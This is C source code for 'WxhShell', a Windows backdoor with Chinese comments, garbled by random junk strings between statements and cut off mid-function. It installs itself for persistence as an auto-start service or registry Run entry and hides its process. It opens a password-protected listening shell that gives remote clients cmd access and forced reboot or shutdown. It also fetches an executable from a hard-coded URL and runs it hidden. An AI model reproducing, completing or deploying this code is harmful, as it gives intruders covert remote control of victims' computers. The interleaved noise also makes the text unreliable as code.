4Tm static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S[vRw]* static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |5W8Q|>% ,{?wKXJ}L! HANDLE hProcess; H{ZLk, PROCESS_BASIC_INFORMATION pbi; L>SZgmV+ 5v"Y\k+1 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _-n Y2) if(NULL == hInst ) return 0; Z;hyi'rPJ Ba<ngG
! g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SU/G)&Mi g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t) LU\! NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sF y]+DB =M/qV if (!NtQueryInformationProcess) return 0; : (cb2j(C V|TA:&:7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9hy'DcSy, if(!hProcess) return 0; ugno]5Ni Qh^R Ax if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /mc*Hc8R8 dgXg kB' CloseHandle(hProcess); ]GNh) I-,>DLG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pDGT@qJ if(hProcess==NULL) return 0; Rfht\{N 7 <KtBv Ip] HMODULE hMod; 5:c;RRn char procName[255]; +kM\
D~D1 unsigned long cbNeeded; `4LJ;KC( ~x'zX-@rC if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J;~E<_"Hn "=qv#mZ#9 CloseHandle(hProcess); ?1CJf>B > r&SO:#rOSM if(strstr(procName,"services")) return 1; // 以服务启动 I:F
<vE /u=aX return 0; // 注册表启动 >5.zk1&H } @l{I[pp )S2iIi;Bq // 主模块 mf}\s]_c int StartWxhshell(LPSTR lpCmdLine) AP0|z { I] jX7.fx SOCKET wsl; "J& (:(: BOOL val=TRUE; w,Q)@]_ int port=0; k{a)gFH
O struct sockaddr_in door; c}%es=@ Ah (iE if(wscfg.ws_autoins) Install(); e8{^f]5 G]-%AO{K port=atoi(lpCmdLine); 7%4.b7Q 7,h3V=^)Q if(port<=0) port=wscfg.ws_port; Qwv '< &U&Zo@ot"x WSADATA data; (xL
:; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *Rq`*D>:U} +#~O'r]%GG if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; jB!W2~Z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y''6NGf door.sin_family = AF_INET; OF8WDo` door.sin_addr.s_addr = inet_addr("127.0.0.1"); 12lEs3 door.sin_port = htons(port); "R23Pi i
j/o;_ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Aq"PG}Ic closesocket(wsl); 3za`>bUN return 1; j7}lF?cJ2 } MKC$;>i V\AK6U@r^ if(listen(wsl,2) == INVALID_SOCKET) { 0~]QIdu{AR closesocket(wsl); 'irGvex return 1; N<liS3> } $@2"{9Z Wxhshell(wsl); "U{,U`@? WSACleanup(); akC>s8tqlA b+Vi3V return 0; @h#Xix7 i=L8=8B` } Sph*1c(R *Tp]h 0 // 以NT服务方式启动 vTd-x>n VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @+&'%1 { 4gOgWBv DWORD status = 0; | 3giZ{ DWORD specificError = 0xfffffff; C2G |?= >S'>!w serviceStatus.dwServiceType = SERVICE_WIN32; zh%qS~8Yv serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2ce'fMV serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G#0,CLGN^ serviceStatus.dwWin32ExitCode = 0; #ZlM?Q serviceStatus.dwServiceSpecificExitCode = 0; ;&
~929 serviceStatus.dwCheckPoint = 0; !BUi)mo serviceStatus.dwWaitHint = 0; 6e#wR/ Cw#V`70a hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Lm|al.Z if (hServiceStatusHandle==0) return; mgVML&^ ?E7=:h(@t status = GetLastError(); u!Bk,}CE` if (status!=NO_ERROR) &SmXI5>Bo0 { [4>r6Hqxr serviceStatus.dwCurrentState = SERVICE_STOPPED; &XQZs`41+ serviceStatus.dwCheckPoint = 0; zQc"bcif5( serviceStatus.dwWaitHint = 0; k 4B_W serviceStatus.dwWin32ExitCode = status; OQFi.8 serviceStatus.dwServiceSpecificExitCode = specificError; -k{Jp/-D SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cs4hgb| return; h0Jl_f#Y } }9CrFTbx; ([KN*OF serviceStatus.dwCurrentState = SERVICE_RUNNING; XG&K32_fs serviceStatus.dwCheckPoint = 0; X NE+(Bt serviceStatus.dwWaitHint = 0; }0;Sk(B> if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C[8Kl D } )6{P8k4Zr 1lcnRHO // 处理NT服务事件,比如:启动、停止 lKWr=k~ VOID WINAPI NTServiceHandler(DWORD fdwControl) _|<BF { $<OhGk- switch(fdwControl) ug#<LO-.Rd { 2-mQt_
i case SERVICE_CONTROL_STOP: /^2CGcT( serviceStatus.dwWin32ExitCode = 0; E[?kGR[ serviceStatus.dwCurrentState = SERVICE_STOPPED; _{Y$o'*#I serviceStatus.dwCheckPoint = 0; gS$A serviceStatus.dwWaitHint = 0; yM ,VrUh { <%K UdkzEP SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? )_7U } ^ ulps**e return; t`u!]DHv case SERVICE_CONTROL_PAUSE: 7'OPjtM serviceStatus.dwCurrentState = SERVICE_PAUSED; H$tb;: break; Q2c*.Y case SERVICE_CONTROL_CONTINUE: N9]xJgTze serviceStatus.dwCurrentState = SERVICE_RUNNING; 4ht\&2&: break; uyT/Xzo3 case SERVICE_CONTROL_INTERROGATE: /9_#U#vhY break; 2B` 8eb }; \r;F2C0*i SetServiceStatus(hServiceStatusHandle, &serviceStatus); FH*RU1Z } &fSTR-8ev# hYb9`0G"2 // 标准应用程序主函数 LgHJo-+> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d(S}NH { 10MU-h.) Mm#[&j[Y // 获取操作系统版本 <Wy>^<` OsIsNt=GetOsVer(); *]x_,:R6Ow GetModuleFileName(NULL,ExeFile,MAX_PATH); a)S7}0|R C) .2gQ
G // 从命令行安装 ce' TYkPM if(strpbrk(lpCmdLine,"iI")) Install(); 0JXqhc9' lIh[|] // 下载执行文件 ]yLhJ_^ if(wscfg.ws_downexe) { 9=$!gC) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bk3Unreh WinExec(wscfg.ws_filenam,SW_HIDE); kG^dqqn6 } 'msmXX@q >IY,be6>P if(!OsIsNt) { 5AOfp2O // 如果时win9x,隐藏进程并且设置为注册表启动 2OalAY6RS HideProc(); J#7y<
s StartWxhshell(lpCmdLine); @!\K>G >9[ } ]a/'6GbR else GZ8:e3ri if(StartFromService()) I7mG/ // 以服务方式启动 <zfKC StartServiceCtrlDispatcher(DispatchTable); gj+3y9 else L'9N9CR{i // 普通方式启动 *IZf^-=Q StartWxhshell(lpCmdLine); HarFE4V (p |DcA]BX return 0; h\y-L~2E } ut5yf$% \L[i9m| e VPd,]]S5( n+oDC65[ =========================================== 1S%}xsR0 `|<+ ? >&Fa(o;* NHiq^ojk m mw-a0 .wc
= ] " Jps .;yjk 6fwY$K\X #include <stdio.h> T=\!2gt #include <string.h> )^
<3\e #include <windows.h> ?63&g{vA #include <winsock2.h> _/ Os^ >R #include <winsvc.h> 2c:f<>r0y #include <urlmon.h> &1Fply7(Ay ZnXejpj)D #pragma comment (lib, "Ws2_32.lib") ($WE=biZ& #pragma comment (lib, "urlmon.lib") qY# d+F,t ,
Oli #define MAX_USER 100 // 最大客户端连接数 @vs@>CYdz #define BUF_SOCK 200 // sock buffer ~7SH4Cr #define KEY_BUFF 255 // 输入 buffer J70D+ _!AJiP3!)4 #define REBOOT 0 // 重启 (wA?;]q( #define SHUTDOWN 1 // 关机 U:lv^QPG }*kJ-q&0 #define DEF_PORT 5000 // 监听端口 _V@P-Ye #WufZ18# #define REG_LEN 16 // 注册表键长度 '6zd;l9Z #define SVC_LEN 80 // NT服务名长度 T9)wj][ . ,7,;twKz // 从dll定义API 9*}gl3y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +Me2U9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (@&I_>2Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $']VQ4tZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 40K2uT{cq =n0*{~r // wxhshell配置信息 -(;LQDG | struct WSCFG { /EFq#+6 int ws_port; // 监听端口 @@}`hii char ws_passstr[REG_LEN]; // 口令 `ROEV~ int ws_autoins; // 安装标记, 1=yes 0=no Dip*}8$o(w char ws_regname[REG_LEN]; // 注册表键名 $a.u05 char ws_svcname[REG_LEN]; // 服务名 n33kb/q* char ws_svcdisp[SVC_LEN]; // 服务显示名 U9ZbVjqv@ char ws_svcdesc[SVC_LEN]; // 服务描述信息 a8s4T$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b!a
%YLL int ws_downexe; // 下载执行标记, 1=yes 0=no mG(N:n%*K char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nGa1a char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T1NH eH> v>-YuS }; F?4Sz# ;^-:b(E // default Wxhshell configuration xP@/9SM struct WSCFG wscfg={DEF_PORT, r
nBOj#N "xuhuanlingzhe", }uQ${]&D 1, Do;#NLrWb "Wxhshell", yJD>ny "Wxhshell", f7+Cz>R "WxhShell Service", r!K|E95oj9 "Wrsky Windows CmdShell Service", &!1}`4$[T "Please Input Your Password: ", ;KcFy@ 6q5 1, jXR16| "http://www.wrsky.com/wxhshell.exe", _413\`%8? "Wxhshell.exe" e@jfIF0=} }; D4Sh9:\ H/jm
f5 // 消息定义模块 l{%a&/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y';>O ` char *msg_ws_prompt="\n\r? for help\n\r#>"; -g~~] K% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %f!iHo+Z char *msg_ws_ext="\n\rExit."; 7~vqf3ON4J char *msg_ws_end="\n\rQuit."; T[2}p=<% char *msg_ws_boot="\n\rReboot..."; 3j*'HST char *msg_ws_poff="\n\rShutdown..."; sh6(z?KP char *msg_ws_down="\n\rSave to "; =_QkH!vI i6>R qP!69 char *msg_ws_err="\n\rErr!"; pP\h6b+B char *msg_ws_ok="\n\rOK!"; A&N*F "q n,nisS char ExeFile[MAX_PATH]; }O*WV 1 int nUser = 0; V/bH^@,sA HANDLE handles[MAX_USER]; aZgNPw int OsIsNt; )w"0w( y Nva1I SERVICE_STATUS serviceStatus; 4<}A]BQVkJ SERVICE_STATUS_HANDLE hServiceStatusHandle; ']?=[`#NL Y6VQ:glDT- // 函数声明 8"M<{72U] int Install(void); C EqZ:c int Uninstall(void); r~oSP^e' int DownloadFile(char *sURL, SOCKET wsh); ct0v$ct>f int Boot(int flag); }1m_o@{3P void HideProc(void); "{(
[! int GetOsVer(void); ( V4G<-jG int Wxhshell(SOCKET wsl); x!?Z*v@I void TalkWithClient(void *cs); I,j3bC int CmdShell(SOCKET sock); hTw}X.<4 int StartFromService(void); ~zyQ(' int StartWxhshell(LPSTR lpCmdLine); `d*b]2 ,!>fmU`E4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a:u}d7T3e VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]u=Ca#!' j9xXKa5 // 数据结构和表定义 lzfDH=& SERVICE_TABLE_ENTRY DispatchTable[] = ORH93` { oT->^4WY {wscfg.ws_svcname, NTServiceMain}, Wc;+2Hl[@ {NULL, NULL} Cef7+fa }; $l"MXxx5I h{/ve`F>@ // 自我安装 x,1=D~L} int Install(void) A&l7d0Z^j5 { RVP 18ub.S char svExeFile[MAX_PATH]; z!CD6W1n HKEY key; -N z}DW> strcpy(svExeFile,ExeFile); t w!.%_1^ :t>Q:mX(N // 如果是win9x系统,修改注册表设为自启动 U;gp)=JNT if(!OsIsNt) { 4$Pr|gx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #!d]PH746 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b-nY xd RegCloseKey(key); mV zu~xym if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *<kD"m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O+FBQiv RegCloseKey(key); N84qcc return 0; {^wdJZ~QLK } rfTe } if@,vc } /q*KO\L else { ':sTd^V {8:o?LnMW // 如果是NT以上系统,安装为系统服务 ^&m?qKN8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .e$%[)D if (schSCManager!=0) 'w6hW7"L { 5_aw.s> SC_HANDLE schService = CreateService u]*5Ex (? ( ysVi3eq schSCManager, w_H2gaQ wscfg.ws_svcname, 3{pk5_c wscfg.ws_svcdisp, >0V0i%inmF SERVICE_ALL_ACCESS, 0n5!B..m} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^0Q'./A{& SERVICE_AUTO_START, 8uA<G/Q; SERVICE_ERROR_NORMAL, 4NUNOv`[{ svExeFile, 2 `&<bt[g NULL, dXO=ZU/N NULL, KpGUq0d@ NULL, TkT-$=i NULL, %~\ NULL qUg9$oh{LI ); v= 8VvT8 if (schService!=0) 6ZEdihBei { 8m7;x/0ld CloseServiceHandle(schService); Y^3)!> CloseServiceHandle(schSCManager); $_bZA;EMQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $rTu6(i1 strcat(svExeFile,wscfg.ws_svcname); >Bx8IO1_\d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5Hy3\_ + RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >[P%Ty); RegCloseKey(key); l/F!Bq[*g return 0; os_WYQ4>j } dyl
0]Z } LYNZP4(R CloseServiceHandle(schSCManager); @<5Tba>SC } sDAK\#z } d<v~= sMX$Q45e return 1; en%B>]QI } J7m`]!*t ?\M)WDO // 自我卸载 0Jg+sUs{ int Uninstall(void) SS0_P
jKz { U/5$%0) HKEY key; idz9YpW QQq/5r4O`q if(!OsIsNt) { .5z&CJDiIi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i*z0Jf[" RegDeleteValue(key,wscfg.ws_regname); 8~qlLa>jc RegCloseKey(key); 19&)Yd1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %yKKUZ~ RegDeleteValue(key,wscfg.ws_regname); _'lmCj8L RegCloseKey(key); UEN56@eCNf return 0; uAT/6@ } |Q6h/"2 } 9R>~~~{-Go } _j>L4bT else { Tplg2p%k `Jqf**t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F;W' if (schSCManager!=0) aPt{C3< { N5ci};? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a_AJ)4 if (schService!=0) /]g>#J%b { S%{lJYwXt if(DeleteService(schService)!=0) { UI_v3c3b CloseServiceHandle(schService); w-M7opkq CloseServiceHandle(schSCManager); J7Sx!PQ return 0; u9,=po=+7f } aC}p^Nkr"k CloseServiceHandle(schService); s" N\82z) } Ta^.$O=F CloseServiceHandle(schSCManager); py.!%vIOQ } iAgOnk[ } IE}Sdeqi) P]-#wz=S return 1;
Y=|CPE%V } -zR.'x% g kn)V~ij // 从指定url下载文件 >-eS&rma int DownloadFile(char *sURL, SOCKET wsh) SNN#$8\ { RB *P0 HRESULT hr; K9^ "NS3 char seps[]= "/";
&AJUY()8 char *token; _V&x`ks char *file; *cPN\Iu.W char myURL[MAX_PATH]; yduuFK char myFILE[MAX_PATH]; wZ
O@J| yE<,Z%J[n strcpy(myURL,sURL); oLd:3,p} token=strtok(myURL,seps); X= SG while(token!=NULL) 8M~u_`6 { CxkMhd8qz file=token; ?o8a_9+ token=strtok(NULL,seps); sc9]sIb } *s~i 2} kM,@[V GetCurrentDirectory(MAX_PATH,myFILE); 4':MI|/my_ strcat(myFILE, "\\"); DgVyy&7> strcat(myFILE, file); k}#@8n|b send(wsh,myFILE,strlen(myFILE),0); N7a[B>+` send(wsh,"...",3,0); 51z / hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y1|^>C#a if(hr==S_OK) i"vDRrDe return 0; YT][\x else +hZ] B<$ return 1; :)j7U3u |K6nOX!i } qR_SQ
VN &hO$4q tN // 系统电源模块 0:jsV|5B8 int Boot(int flag) KoFv0~8Q { ? 1GJa]G HANDLE hToken; TX&[;jsj TOKEN_PRIVILEGES tkp; ":nI_~q =?^-P{:\? if(OsIsNt) { ,Io0ZE>`V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NWeV>;lh9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5%'o%`?i tkp.PrivilegeCount = 1; t&38@p tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $4sAnu] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 80 dSQ"y if(flag==REBOOT) { tD865gi if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N=.}h\{0 return 0; >}mNi:6xq } nM=2"`@$ else { 3F;EE: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [1e.i return 0; $x/J+9Ww } 3Sk5I% } gNG.l else { 9GtLMpy if(flag==REBOOT) { makaI0M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U-ERhm>uk return 0; kja4!_d } 6V+V
zDo else { =P1RdyP if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?U=mcdqd return 0; PKl]GegP } i[mC3ghM6, } !'+\]eA <##|311o return 1; fi5YMYd1 } dvC0 <*V ex{)mE4Cd // win9x进程隐藏模块 7?+5%7- void HideProc(void) tWcizj;?wK { N|bPhssFw r4;^c} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "0!~g/X`rK if ( hKernel != NULL ) dBsRm{aS { v`@5enr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?.]o_L_K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i-|/2I9 % FreeLibrary(hKernel); ,xm;JXJ } M?QQr~a 7YoofI return; u}Lc|_ea` } 0TpBSyx. >hHJ:5y // 获取操作系统版本 Q@PJ)fwN int GetOsVer(void) l~`txe { BERn _5gb OSVERSIONINFO winfo; Pn~pej5'K winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AN|jFSQ' GetVersionEx(&winfo); 4he v
; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z&AHM &,yj return 1; Np|:dP9#} else 6-)7:9y return 0; =x|##7 } Bl>_&A) ho?|j"/7 // 客户端句柄模块 yBpW#1= int Wxhshell(SOCKET wsl) $q4 XcIX 7 { 67Af} >Q SOCKET wsh; )->-~E}p9 struct sockaddr_in client; j<`I\Pmv DWORD myID; p.6$w:eV Y\ #.EVz while(nUser<MAX_USER) i{Y=!r5r { K,`).YK int nSize=sizeof(client); IKNFYe[9e wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]>]#zu$=c if(wsh==INVALID_SOCKET) return 1; <Tj"GVZAEO 0X] ekq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /\IAr,w[ if(handles[nUser]==0) X
,V= od> closesocket(wsh); GC5#1+fQ else U89]?^|bb nUser++; .0R/'!e } Y yQf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BN<#x@m$] V0SW 5
m return 0; >S?C {_g } PCV58n3 8GF[)z&|P: // 关闭 socket -s?dzX void CloseIt(SOCKET wsh) pIU#c&%<9 { Zztt)/6* closesocket(wsh); pq/FLYiv nUser--; Thht_3_C,f ExitThread(0); orcZyYU } /-G qG)PX !`O_VV`/@ // 客户端请求句柄 G#9o? void TalkWithClient(void *cs) }J'5EAp { a<a&63 E.7AbHph0 SOCKET wsh=(SOCKET)cs; r{Qs9 char pwd[SVC_LEN]; Mipm&5R char cmd[KEY_BUFF]; U5@TaGbx char chr[1]; Ee$"O6*! int i,j; $ ufSNx(F 9H
!B) while (nUser < MAX_USER) { dw{#|| d[P>jl%7 if(wscfg.ws_passstr) { n)1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <{-(\>f!9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cpr{b8Xb8& //ZeroMemory(pwd,KEY_BUFF); tF;& x
g i=0; ,oB k> while(i<SVC_LEN) { 110>p aPY>fy^8D // 设置超时 82Z[eo fd_set FdRead; E,ZB;
struct timeval TimeOut; <'o 'H FD_ZERO(&FdRead); fY,@2VxyfA FD_SET(wsh,&FdRead); MQbNWUi TimeOut.tv_sec=8; ..Uw8u/ TimeOut.tv_usec=0; 2]_4&mU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pjmGzK if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }LHT#{+x \Z6gXO_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !S >|Qh pwd=chr[0]; C-:SQf if(chr[0]==0xd || chr[0]==0xa) { 1O'* X pwd=0; *$4A|EA V break; k_En_\c?p2 } >H=Q$gI i++; %1 VNP(E } >zfZw"mEP xi1N?
pP // 如果是非法用户,关闭 socket Nak'g/uP> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DO1N`7@o } ^NnU gj yG4LQE send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C9z~)aL}7 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Hyyq- vhE}{ED while(1) { p0y0T|H^ M|Lw`?T ZeroMemory(cmd,KEY_BUFF); upEPv
.h bHWvKv+ // 自动支持客户端 telnet标准 TW-zh~|F j=0; x>8}|ou while(j<KEY_BUFF) { \{+nXn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^]sMy7X0IK cmd[j]=chr[0]; esC\R4he if(chr[0]==0xa || chr[0]==0xd) { n|4D#Bd1w cmd[j]=0; 3<UDVt@0 break; \$~oH3m& } 0imqj7L j++; wTMHoU*> } G|6 |;
Ae{4AZ // 下载文件 W_f"Gk if(strstr(cmd,"http://")) { "6*Kgf2G send(wsh,msg_ws_down,strlen(msg_ws_down),0); qqom$H< if(DownloadFile(cmd,wsh)) "ZJ1`R=Mj send(wsh,msg_ws_err,strlen(msg_ws_err),0); J:mu%N` else hiK[!9r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1VyO?KX' } thm3JfQt else { 1A/c/iC ncw?; switch(cmd[0]) { I$6
f.W /Y\E68_Fh // 帮助 O.up%'%, case '?': { -RqAT 1 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jO3u]5}.6 break; T>uWf#&pjs } &"j).Ogm4 // 安装 G}?P
r4Gj case 'i': { , C@hTOT if(Install()) GFc send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mp=kZs/ else p`l[cVQ< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Bd*
L~D break; CXP $bt} } Q3'B$,3O^ // 卸载 4M<JfD case 'r': { m|cWX"#g if(Uninstall()) b\|p send(wsh,msg_ws_err,strlen(msg_ws_err),0); PHiX:0zT else cT=wJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #NQz&4W break; 6<Pg>Bg } + x;ML // 显示 wxhshell 所在路径 5N3!!FFE case 'p': { i>if93mpj char svExeFile[MAX_PATH]; I.\f0I'. strcpy(svExeFile,"\n\r"); 2}#wdJ` strcat(svExeFile,ExeFile); feq6!k7 send(wsh,svExeFile,strlen(svExeFile),0); vhquHy.qi# break; Q"K >ML>0 } A7,$y!D // 重启 2p;}wYt case 'b': { n.qxxzEN send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sp$x%p0 if(Boot(REBOOT)) ;R|#ae@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); =|JIY else { WoWM closesocket(wsh); .lF\b A| ExitThread(0); J)yy}[Fx } F?,&y)ri break;
IOSoc 7+" } W0T
i ^@ // 关机 hy&Hl case 'd': { a4CNPf<$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z2j*%/ if(Boot(SHUTDOWN)) cxJK>%84 send(wsh,msg_ws_err,strlen(msg_ws_err),0); I7z]%Z else { a&c#* 9t{ closesocket(wsh); ?nSp?m; ExitThread(0); n
ua8y(W } ;@Hi*d[ break; n]fbV/ x } GuY5 %wr // 获取shell = SJF\Z case 's': { Oi[9b CmdShell(wsh); @]"9EW
0 closesocket(wsh); #bZ=R ExitThread(0); q.b4m 'J break; 95 .'t} } hSKH#NS // 退出 U9[A( case 'x': { 2hC$"Dfp send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -+_aL4. CloseIt(wsh); 32|L
$o break; _
*s } 2Yd~v| // 离开 +U)|&1oa case 'q': { & c9Fw:f; send(wsh,msg_ws_end,strlen(msg_ws_end),0); C(*@-Npf[ closesocket(wsh); :h^UC~[h 3 WSACleanup(); L?C~
qS2g exit(1); [*ovYpj^ break; & O\!!1% } -XIvj'u } y*Q-4_%, } R/cq00g )[X!/KR90 // 提示信息 d*(Bs$De if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9l_?n@ } ]sP9!hup } 35kbE' UZ3Aq12U}a return; :p)9Heu
} 'p+QFT>Ca 7.rZ%1N // shell模块句柄 (wF$"c3'{ int CmdShell(SOCKET sock) VD`2lGdF { l"y9XO| STARTUPINFO si; =d.W'q| ZeroMemory(&si,sizeof(si)); A2_3zrE si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %_O>Hy|p si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <G?85*Nv_ PROCESS_INFORMATION ProcessInfo; 6-}e-H char cmdline[]="cmd"; .V:< |